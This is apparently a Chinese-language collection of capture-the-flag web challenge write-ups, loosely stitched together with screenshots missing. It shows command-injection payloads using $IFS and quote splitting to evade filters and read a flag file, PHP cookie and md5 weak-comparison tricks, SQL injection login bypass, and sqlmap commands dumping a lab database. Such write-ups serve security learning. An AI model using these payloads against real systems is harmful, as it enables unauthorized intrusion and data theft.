(比赛题目可能有改动,做法没变) 
首先是一个网络测试页面。 
 
随便填点东西。 
 
 
出现?site=what的GET参数,猜测功能是输入一个ip或域名进行执行ping命令。 
 
尝试命令注入。 
输入localhost&&ls: 
 
输入localhost&&ls /etc: 
 
结果相同,可能是因为把空白字符之后的内容删除了。 
输入localhost&&ls$IFS/etc ($IFS变量储存了一个空白字符): 
 
命令正常执行了。 
输入localhost&&ls$IFS/: 
 
发现flag文件。 
尝试读取,localhost&&cat$IFS/flag: 
 
应该是服务器拦截了flag字符串, 
把路径分割来绕过,localhost&&cat$IFS/fl''ag: 
 
flag{P1ng_10c41h0st_c4t_f14g}
(比赛题目可能有改动,做法没变) 
首先是一个登录页面。 
 
随便填点东西登录。 
 
显示一个FALSE 
 
发现多了一个Cookie。 
 
看格式应该是base64。 
解码: 
 
看样子是一个php序列化的对象。
网页右键源码 
 
提示robots.txt 
访问robots.txt 
 
发现有另外两个页面 
还可能有源码泄露 
phpinfo.php: 
 
sqldebug.php: 
 
我们尝试访问index.php~和sqldebug.php~ 
<?phpini_set('display_errors', 1);ini_set('display_startup_errors', 1);error_reporting(-1);class Auth {public $username = '';public $login = 0;public function verify() {return 'FALSE';}}?><!DOCTYPE html><html><head><title>Login</title></head><body><h1>Login</h1><form action="" method="POST"><table><tr><td>Username</td><td><input type="text" name="username"></td></tr><tr><td>Password</td><td><input type="password" name="password"></td></tr><tr><td>Remember me <input type="checkbox" name="rememberme"></td><td><input type="submit" value="Submit"></td>
题目把输入转化为字符串,所以不用想改数组了。 
因为两个md5比较的时候用的是==弱类型比较,0e开头的字符串在这种情况下可以当做0的某次方的科学计数法表示,也就是0。 
所以任意两个md5是以0e开头,而且比较时用的是==时就能为真。 
 
或者直接搜一对md5的碰撞
(比赛题目可能有改动,做法没变) 
首先一个登陆页面 
 
猜用户: 
admin 
用’#尝试绕过 
 
或直接绕过: 
 
都能登陆。
 
登陆后跳转到sqldebug.php,有uid参数。 
简单测试: 
 
使用sqlmap(用自己的cookie): 
sqlmap -u 'http://192.168.44.128/sqldebug.php?uid=1' --cookie='PHPSESSID=xxxxxxxxxx' –dbs 
sqlmap -u 'http://192.168.44.128/sqldebug.php?uid=1' --cookie='PHPSESSID=xxxxxxxxxx' -D fakelogin1 –tables 
sqlmap -u 'http://192.168.44.128/sqldebug.php?uid=1' --cookie='PHPSESSID=xxxxxxxxxx' -D fakelogin1 -T fffflllaaaaagggggg369 –dump